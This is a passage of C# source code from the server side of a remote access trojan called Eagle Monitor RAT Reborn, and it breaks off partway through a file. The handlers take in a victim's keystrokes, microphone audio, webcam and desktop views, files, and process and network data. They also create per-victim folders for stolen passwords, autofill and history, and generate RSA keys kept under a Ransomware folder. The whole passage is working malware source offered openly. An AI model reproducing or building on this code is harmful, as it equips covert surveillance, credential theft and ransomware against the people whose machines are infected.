Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteShellHandler.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Network { internal class RemoteShellHandler : IDisposable { internal ClientHandler ClientHandler { get; set; } internal string BaseIp { get; set; } public void Dispose() { ClientHandler.Socket.Close(); if (ClientHandler.Socket != null) { ClientHandler.Socket.Dispose(); ClientHandler.Socket = null; ClientHandler = null; } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteWebCamHandler.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Network { internal class RemoteWebCamHandler : IDisposable { internal ClientHandler ClientHandler { get; set; } internal bool HasAlreadyConnected { get; set; } //internal int vResol { get; set; } //internal int hResol { get; set; } internal string BaseIp { get; set; } public void Dispose() { ClientHandler.Socket.Close(); if (ClientHandler.Socket != null) { ClientHandler.Socket.Dispose(); ClientHandler.Socket = null; ClientHandler = null; } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Audio/RemoteAudioCapturePacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using NAudio.Wave; using PacketLib.Packet; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class RemoteAudioCapturePacketHandler { public RemoteAudioCapturePacketHandler(RemoteAudioCapturePacket remoteAudioCapturePacket) : base()//, ClientHandler clientHandler) { if (ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm != null) { try { if (ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.HasAlreadyConnected == false) { ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.CurrentFileName = ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientPath + "\\Audio Records\\" + Misc.Utils.DateFormater() + ".wav"; ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.CurrentOffset = 0; ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.WaveFileWriter = new WaveFileWriter(ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.CurrentFileName, new WaveFormat(44100, 1)); } //currentOffset ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.HasAlreadyConnected = true; ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.BufferedWaveProvider.AddSamples(remoteAudioCapturePacket.audioCapture, 0, remoteAudioCapturePacket.bytesRecorded); ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.WaveFileWriter.Write(remoteAudioCapturePacket.audioCapture, 0, remoteAudioCapturePacket.bytesRecorded); ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.WaveFileWriter.Flush(); ClientHandler.ClientHandlersList[remoteAudioCapturePacket.BaseIp].ClientForm.RemoteMicrophoneHandler.CurrentOffset += remoteAudioCapturePacket.bytesRecorded; } catch { } return; } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Audio/RemoteAudioPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using PacketLib.Packet; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class RemoteAudioPacketHandler { public RemoteAudioPacketHandler(RemoteAudioPacket remoteAudioPacket) : base()//, ClientHandler clientHandler) : base() { if (ClientHandler.ClientHandlersList[remoteAudioPacket.BaseIp].ClientForm != null) { try { ClientHandler.ClientHandlersList[remoteAudioPacket.BaseIp].ClientForm.audioDevicesGuna2ComboBox.BeginInvoke((MethodInvoker)(() => { foreach (string device in remoteAudioPacket.audioDevices) { ClientHandler.ClientHandlersList[remoteAudioPacket.BaseIp].ClientForm.audioDevicesGuna2ComboBox.Items.Add(device); } if (remoteAudioPacket.audioDevices.Count > 0) ClientHandler.ClientHandlersList[remoteAudioPacket.BaseIp].ClientForm.audioDevicesGuna2ComboBox.SelectedIndex = 0; })); } catch { } return; } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Client/ConnectedPacketHandler.cs ================================================ using PacketLib.Packet; using System.Drawing; using System.Windows.Forms; using System.IO; using System.Media; using Eagle_Monitor_RAT_Reborn.Network; using System.Collections.Generic; using Newtonsoft.Json; using System.Threading.Tasks; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class ConnectedPacketHandler { public ConnectedPacketHandler(ConnectedPacket connectedPacket, ClientHandler clientHandler) { clientHandler.HWID = connectedPacket.HWID; connectedPacket.BaseIp = clientHandler.IP; clientHandler.ClientPath = Misc.Utils.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID; clientHandler.FullName = connectedPacket.Username + "@" + connectedPacket.HWID; Task.Run(() => { if (!Directory.Exists(Misc.Utils.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID)) { Directory.CreateDirectory(Misc.Utils.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID); clientHandler.ClientStatus = "New client connected !"; Directory.CreateDirectory(clientHandler.ClientPath + "\\Downloaded Files\\"); Directory.CreateDirectory(clientHandler.ClientPath + "\\History\\"); Directory.CreateDirectory(clientHandler.ClientPath + "\\Autofill\\"); Directory.CreateDirectory(clientHandler.ClientPath + "\\Keystrokes\\"); Directory.CreateDirectory(clientHandler.ClientPath + "\\Keywords\\"); Directory.CreateDirectory(clientHandler.ClientPath + "\\Passwords\\"); Directory.CreateDirectory(clientHandler.ClientPath + "\\Audio Records\\"); Directory.CreateDirectory(clientHandler.ClientPath + "\\Screenshots\\"); Directory.CreateDirectory(clientHandler.ClientPath + "\\Camera\\"); Directory.CreateDirectory(clientHandler.ClientPath + "\\Ransomware\\"); if (Program.settings.autoGenerateRSAKey) { Misc.EncryptionInformation encryptionInformation = new Misc.EncryptionInformation(); Dictionary rsaKey = Misc.Encryption.GetKey(); encryptionInformation.publicRSAServerKey = rsaKey["PublicKey"]; encryptionInformation.privateRSAServerKey = rsaKey["PrivateKey"]; string rsa = JsonConvert.SerializeObject(encryptionInformation); File.WriteAllText(clientHandler.ClientPath + "\\Ransomware\\encryption.json", rsa); clientHandler.EncryptionInformation = encryptionInformation; } } else { clientHandler.ClientStatus = "Old client connected !"; if (!File.Exists(clientHandler.ClientPath + "\\Ransomware\\encryption.json") && Program.settings.autoGenerateRSAKey) { Misc.EncryptionInformation encryptionInformation = new Misc.EncryptionInformation(); Dictionary rsaKey = Misc.Encryption.GetKey(); encryptionInformation.publicRSAServerKey = rsaKey["PublicKey"]; encryptionInformation.privateRSAServerKey = rsaKey["PrivateKey"]; string rsa = JsonConvert.SerializeObject(encryptionInformation); File.WriteAllText(clientHandler.ClientPath + "\\Ransomware\\encryption.json", rsa); clientHandler.EncryptionInformation = encryptionInformation; } else { if (Program.settings.autoGenerateRSAKey) { Misc.EncryptionInformation encryptionInformation = JsonConvert.DeserializeObject(File.ReadAllText(clientHandler.ClientPath + "\\Ransomware\\encryption.json")); clientHandler.EncryptionInformation = encryptionInformation; } } } }); lock (Program.mainForm.clientDataGridView) { Program.mainForm.clientDataGridView.BeginInvoke((MethodInvoker)(() => { int rowId = Program.mainForm.clientDataGridView.Rows.Add(); DataGridViewRow row = Program.mainForm.clientDataGridView.Rows[rowId]; if (File.Exists(Misc.Utils.GPath + $"\\Flags\\{Program.settings.flagsPackName}\\" + connectedPacket.RegionFlag.ToLower() + ".png")) row.Cells["Column1"].Value = Misc.Utils.ResizeImage(Image.FromFile(Misc.Utils.GPath + $"\\Flags\\{Program.settings.flagsPackName}\\" + connectedPacket.RegionFlag.ToLower() + ".png"), new Size(26, 26)); else row.Cells["Column1"].Value = Misc.Utils.ResizeImage(Image.FromFile(Misc.Utils.GPath + "\\Flags\\FlagsBase\\" + "UKN" + ".png"), new Size(26, 26)); row.Cells["Column2"].Value = connectedPacket.HWID; row.Cells["Column3"].Value = clientHandler.IP; row.Cells["Column4"].Value = connectedPacket.OSName; row.Cells["Column5"].Value = connectedPacket.Username; row.Cells["Column6"].Value = connectedPacket.RAM; row.Cells["Column7"].Value = connectedPacket.RegionName; row.Cells["Column8"].Value = connectedPacket.Privilege; row.Cells["Column9"].Value = connectedPacket.Is64Bit; if (connectedPacket.Is64Bit == "32") { clientHandler.Is64bitClient = false; } else { clientHandler.Is64bitClient = true; } if (connectedPacket.Privilege == "User") { clientHandler.IsAdmin = false; } else { clientHandler.IsAdmin = true; } row.Cells["Column10"].Value = clientHandler.ServerPort.ToString(); clientHandler.ClientRow = row; Program.mainForm.clientDataGridView.ClearSelection(); })); } Task.Run(() => { if (Program.settings.notificationSound) { using (MemoryStream ms = new MemoryStream(Misc.Utils.NotificationSound)) { SoundPlayer player = new SoundPlayer(ms); player.Play(); } } if (Program.settings.notificationIcon) { NotifyIcon notifyIconClient = new NotifyIcon(); notifyIconClient.Visible = true; notifyIconClient.Text = $"EM-RAT Reborn V{Misc.Utils.CoreAssembly.Version}"; notifyIconClient.Icon = Properties.Resources.eagle21; notifyIconClient.BalloonTipText = $"New client connected !"; notifyIconClient.BalloonTipTitle = $"EM-RAT Reborn V{Misc.Utils.CoreAssembly.Version}"; notifyIconClient.ShowBalloonTip(30); } }); return; } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Desktop/RemoteViewerPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using PacketLib.Packet; using PacketLib.Utils; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class RemoteViewerPacketHandler { public RemoteViewerPacketHandler(RemoteViewerPacket remoteViewerPacket) : base() { if (ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm != null) { ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm.remoteDesktopPictureBox.BeginInvoke((MethodInvoker)(() => { try { ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm.RemoteDesktopHandler.HasAlreadyConnected = true; if (remoteViewerPacket.desktopPicture != null) { ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm.remoteDesktopPictureBox.Image = ImageProcessing.BytesToImage(remoteViewerPacket.desktopPicture); ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm.RemoteDesktopHandler.HResol = remoteViewerPacket.hResol; ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm.RemoteDesktopHandler.VResol = remoteViewerPacket.vResol; } return; } catch { } })); } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DeleteFilePacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using PacketLib.Packet; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class DeleteFilePacketHandler { public DeleteFilePacketHandler(DeleteFilePacket deleteFilePacket) : base()//, ClientHandler clientHandler) : base() { try { if (deleteFilePacket.deleted) { ClientHandler.ClientHandlersList[deleteFilePacket.BaseIp].ClientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() => { try { DataGridViewRow row = ClientHandler.ClientHandlersList[deleteFilePacket.BaseIp].ClientForm.DeleteList[deleteFilePacket.fileTicket]; ClientHandler.ClientHandlersList[deleteFilePacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Remove(row); ClientHandler.ClientHandlersList[deleteFilePacket.BaseIp].ClientForm.DeleteList.Remove(deleteFilePacket.fileTicket); } catch { } })); } } catch { } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DisksPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using PacketLib.Packet; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class DisksPacketHandler { public DisksPacketHandler(DiskPacket diskPacket) : base()//, ClientHandler clientHandler) { try { ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() => { ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.disksGuna2ComboBox.Items.Clear(); ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Clear(); foreach (string disk in diskPacket.disksList) { ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.disksGuna2ComboBox.Items.Add(disk); } ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.disksGuna2ComboBox.SelectedItem = ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.disksGuna2ComboBox.Items[0]; })); } catch { } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DownloadFilePacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using PacketLib.Packet; using System; using System.IO; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class DownloadFilePacketHandler { public DownloadFilePacketHandler(DownloadFilePacket downloadFilePacket, ClientHandler clientHandler) : base() { using (var stream = new FileStream(ClientHandler.ClientHandlersList[downloadFilePacket.BaseIp].ClientPath + "\\Downloaded Files\\" + Misc.Utils.SplitPath(downloadFilePacket.fileName), FileMode.Append)) { stream.Write(downloadFilePacket.file, 0, downloadFilePacket.file.Length); } ClientHandler.ClientHandlersList[downloadFilePacket.BaseIp].ClientForm.dowloadFileDataGridView.BeginInvoke((MethodInvoker)(() => { DataGridViewRow row = ClientHandler.ClientHandlersList[downloadFilePacket.BaseIp].ClientForm.DownloadList[downloadFilePacket.fileTicket]; long currentSize = long.Parse(row.Cells["Column29"].Tag.ToString()) + downloadFilePacket.file.Length; row.Cells["Column29"].Tag = currentSize; decimal pourcentage = (decimal)currentSize / long.Parse(row.Tag.ToString()); decimal final = Decimal.Round(pourcentage * 100, 2); row.Cells["Column30"].Value = $"{final}%"; row.Cells["Column29"].Value = $"{Misc.Utils.Numeric2Bytes(currentSize)} / {Misc.Utils.Numeric2Bytes(long.Parse(row.Tag.ToString()))}"; if (currentSize == long.Parse(row.Tag.ToString())) { clientHandler.Dispose(); if (Program.settings.autoRemoveRowWhenFileIsDownloaded) { ClientHandler.ClientHandlersList[downloadFilePacket.BaseIp].ClientForm.dowloadFileDataGridView.Rows.Remove(row); ClientHandler.ClientHandlersList[downloadFilePacket.BaseIp].ClientForm.DownloadList.Remove(downloadFilePacket.fileTicket); } } downloadFilePacket.file = null; })); } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/FileManagerPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using PacketLib.Packet; using System.Drawing; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class FileManagerPacketHandler { public FileManagerPacketHandler(FileManagerPacket fileManagerPacket) : base()//, ClientHandler clientHandler) { try { ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() => { ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Clear(); int x = 0; foreach (var dir in fileManagerPacket.filesAndDirs[0]) { int rowId = ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Add(); DataGridViewRow row = ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows[rowId]; row.Cells["Column11"].Value = Misc.Utils.ResizeImage(Properties.Resources.imageres_4.ToBitmap(), new Size(26, 26)); row.Cells["Column12"].Value = dir[0].ToString(); row.Cells["Column13"].Value = "Directory"; row.Cells["Column14"].Value = Misc.Utils.Numeric2Bytes((long)dir[1]); } x++; ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Sort(ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.Column12, System.ComponentModel.ListSortDirection.Ascending); foreach (var file in fileManagerPacket.filesAndDirs[1]) { Image btm = PacketLib.Utils.ImageProcessing.BytesToImage((byte[])file[1]); int rowId = ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Add(); DataGridViewRow row = ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows[rowId]; row.Cells["Column11"].Value = Misc.Utils.ResizeImage(btm, new Size(26, 26)); row.Cells["Column12"].Value = file[0].ToString(); row.Cells["Column13"].Value = "File"; row.Cells["Column14"].Value = Misc.Utils.Numeric2Bytes((long)file[2]); row.Tag = file[2]; x++; } })); } catch { } return; } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/ShortCutFileManagersPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using PacketLib.Packet; using System.Drawing; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class ShortCutFileManagersPacketHandler { internal ShortCutFileManagersPacketHandler(ShortCutFileManagersPacket shortCutFileManagersPacket) : base() //, ClientHandler clientHandler) { try { ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() => { ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.disksGuna2ComboBox.Text = shortCutFileManagersPacket.path[0].ToString() + shortCutFileManagersPacket.path[1].ToString() + shortCutFileManagersPacket.path[2].ToString(); ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.labelPath.Text = shortCutFileManagersPacket.path; ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Clear(); int x = 0; foreach (var dir in shortCutFileManagersPacket.filesAndDirs[0]) { int rowId = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Add(); DataGridViewRow row = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows[rowId]; row.Cells["Column11"].Value = Misc.Utils.ResizeImage(Properties.Resources.imageres_4.ToBitmap(), new Size(26, 26)); row.Cells["Column12"].Value = dir[0].ToString(); row.Cells["Column13"].Value = "Directory"; row.Cells["Column14"].Value = Misc.Utils.Numeric2Bytes((long)dir[1]); } x++; ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Sort(ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.Column12, System.ComponentModel.ListSortDirection.Ascending); foreach (var file in shortCutFileManagersPacket.filesAndDirs[1]) { Image btm = PacketLib.Utils.ImageProcessing.BytesToImage((byte[])file[1]); int rowId = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Add(); DataGridViewRow row = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows[rowId]; row.Cells["Column11"].Value = Misc.Utils.ResizeImage(btm, new Size(26, 26)); row.Cells["Column12"].Value = file[0].ToString(); row.Cells["Column13"].Value = "File"; row.Cells["Column14"].Value = Misc.Utils.Numeric2Bytes((long)file[2]); row.Tag = file[2]; x++; } })); } catch { } return; } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/ChatPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using PacketLib.Packet; using System.Drawing; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class ChatPacketHandler { public ChatPacketHandler(RemoteChatPacket chatPacket): base() { ClientHandler.ClientHandlersList[chatPacket.BaseIp].ClientForm.messageRichTextBox.BeginInvoke((MethodInvoker)(() => { ClientHandler.ClientHandlersList[chatPacket.BaseIp].ClientForm.messageRichTextBox.SelectionColor = Color.FromArgb(66, 182, 245); ClientHandler.ClientHandlersList[chatPacket.BaseIp].ClientForm.messageRichTextBox.AppendText(chatPacket.msg); })); } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/InformationPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using PacketLib.Packet; using System.Collections.Generic; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class InformationPacketHandler { public InformationPacketHandler(InformationPacket informationPacket) : base()//, ClientHandler clientHandler) : base() { try { ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.BeginInvoke((MethodInvoker)(() => { ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows.Clear(); ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.componentsDataGridView.Rows.Clear(); ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.systemInformationDataGridView.Rows.Clear(); string[] cpuFeatures = informationPacket.information.hardwareInformation.cpuInformation["CPU"][0].Split('\n'); int rowIdName = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows.Add(); DataGridViewRow row = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows[rowIdName]; row.Cells["Column36"].Value = cpuFeatures[0]; int rowIdVendor = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows.Add(); row = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows[rowIdVendor]; row.Cells["Column36"].Value = cpuFeatures[1]; for (int i = 2; i < cpuFeatures.Length - 1; i++) { string[] SplitFeature = cpuFeatures[i].Split(' '); int rowId = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows.Add(); row = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.cpuDataGridView.Rows[rowId]; row.Cells["Column36"].Value = SplitFeature[0]; if (SplitFeature[1] == "1") row.Cells["Column37"].Value = "Yes"; else row.Cells["Column37"].Value = "No"; } foreach (KeyValuePair hardware in informationPacket.information.hardwareInformation.hardwareInformation) { int rowId = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.componentsDataGridView.Rows.Add(); row = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.componentsDataGridView.Rows[rowId]; row.Cells["Column38"].Value = hardware.Key; row.Cells["Column39"].Value = hardware.Value; } foreach (KeyValuePair system in informationPacket.information.systemInformation.systemInformation) { int rowId = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.systemInformationDataGridView.Rows.Add(); row = ClientHandler.ClientHandlersList[informationPacket.BaseIp].ClientForm.systemInformationDataGridView.Rows[rowId]; row.Cells["Column40"].Value = system.Key; row.Cells["Column41"].Value = system.Value; } })); } catch { } return; /*new Thread(() => { try { clientHandler.clientForm.BeginInvoke((MethodInvoker)(() => { string[] cpuFeatures = informationPacket.information.hardwareInformation.cpuInformation["CPU"][0].Split('\n'); int rowIdName = clientHandler.clientForm.cpuDataGridView.Rows.Add(); DataGridViewRow row = clientHandler.clientForm.cpuDataGridView.Rows[rowIdName]; row.Cells["Column36"].Value = cpuFeatures[0]; int rowIdVendor = clientHandler.clientForm.cpuDataGridView.Rows.Add(); row = clientHandler.clientForm.cpuDataGridView.Rows[rowIdVendor]; row.Cells["Column36"].Value = cpuFeatures[1]; for (int i = 2; i < cpuFeatures.Length - 1; i++) { string[] SplitFeature = cpuFeatures[i].Split(' '); int rowId = clientHandler.clientForm.cpuDataGridView.Rows.Add(); row = clientHandler.clientForm.cpuDataGridView.Rows[rowId]; row.Cells["Column36"].Value = SplitFeature[0]; if (SplitFeature[1] == "1") row.Cells["Column37"].Value = "Yes"; else row.Cells["Column37"].Value = "No"; } foreach (KeyValuePair hardware in informationPacket.information.hardwareInformation.hardwareInformation) { int rowId = clientHandler.clientForm.componentsDataGridView.Rows.Add(); row = clientHandler.clientForm.componentsDataGridView.Rows[rowId]; row.Cells["Column38"].Value = hardware.Key; row.Cells["Column39"].Value = hardware.Value; } foreach (KeyValuePair system in informationPacket.information.systemInformation.systemInformation) { int rowId = clientHandler.clientForm.systemInformationDataGridView.Rows.Add(); row = clientHandler.clientForm.systemInformationDataGridView.Rows[rowId]; row.Cells["Column40"].Value = system.Key; row.Cells["Column41"].Value = system.Value; } })); } catch { } }).Start();*/ } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/KeylogOfflinePacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Misc; using Eagle_Monitor_RAT_Reborn.Network; using PacketLib.Packet; using System.IO; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class KeylogOfflinePacketHandler { public KeylogOfflinePacketHandler(KeylogOfflinePacket keylogOfflinePacket, ClientHandler clientHandler) { Directory.CreateDirectory(ClientHandler.ClientHandlersList[keylogOfflinePacket.BaseIp].ClientPath + "\\Keystrokes\\"); File.AppendAllText(ClientHandler.ClientHandlersList[keylogOfflinePacket.BaseIp].ClientPath + "\\Keystrokes\\" + "Offlinekeystrokes.txt", keylogOfflinePacket.keyStroke + "\n--------------------------------------------\nDATE : " + Utils.DateFormater() + "\n--------------------------------------------\n"); } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/KeylogPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using PacketLib.Packet; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class KeylogPacketHandler { public KeylogPacketHandler(KeylogPacket keylogPacket) : base()//, ClientHandler clientHandler) { try { ClientHandler.ClientHandlersList[keylogPacket.BaseIp].ClientForm.keystrokeRichTextBox.BeginInvoke((MethodInvoker)(() => { ClientHandler.ClientHandlersList[keylogPacket.BaseIp].ClientForm.keystrokeRichTextBox.AppendText(keylogPacket.keyStroke); })); } catch { } return; } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Miscellaneous/NetworkInformationPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using PacketLib.Packet; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class NetworkInformationPacketHandler { public NetworkInformationPacketHandler(NetworkInformationPacket networkInformationPacket) : base()//, ClientHandler clientHandler) : base() { try { ClientHandler.ClientHandlersList[networkInformationPacket.BaseIp].ClientForm.networkInformationDataGridView.BeginInvoke((MethodInvoker)(() => { ClientHandler.ClientHandlersList[networkInformationPacket.BaseIp].ClientForm.networkInformationDataGridView.Rows.Clear(); foreach (TCPInformation tcpInformation in networkInformationPacket.tcpInformationList) { int rowId = ClientHandler.ClientHandlersList[networkInformationPacket.BaseIp].ClientForm.networkInformationDataGridView.Rows.Add(); DataGridViewRow row = ClientHandler.ClientHandlersList[networkInformationPacket.BaseIp].ClientForm.networkInformationDataGridView.Rows[rowId]; row.Cells["Column48"].Value = tcpInformation.PID.ToString(); row.Cells["Column49"].Value = tcpInformation.processName; row.Cells["Column50"].Value = tcpInformation.LocalEndPoint; row.Cells["Column51"].Value = tcpInformation.RemoteEndPoint; row.Cells["Column52"].Value = tcpInformation.State.ToString(); } })); } catch { } return; } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ProcessKillerPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using PacketLib.Packet; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class ProcessKillerPacketHandler { public ProcessKillerPacketHandler(ProcessKillerPacket packet) : base()//, ClientHandler clientHandler) : base() { try { if (packet.killed) { ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.processDataGridView.BeginInvoke((MethodInvoker)(() => { ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.processDataGridView.Rows.Remove(ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.processDataGridView.Rows[packet.rowIndex]); })); } } catch { } return; /*try { if (packet.killed) { clientHandler.clientForm.BeginInvoke((MethodInvoker)(() => { clientHandler.clientForm.processDataGridView.Rows.Remove(clientHandler.clientForm.processDataGridView.Rows[packet.rowIndex]); })); } } catch { }*/ } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ProcessManagerPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using 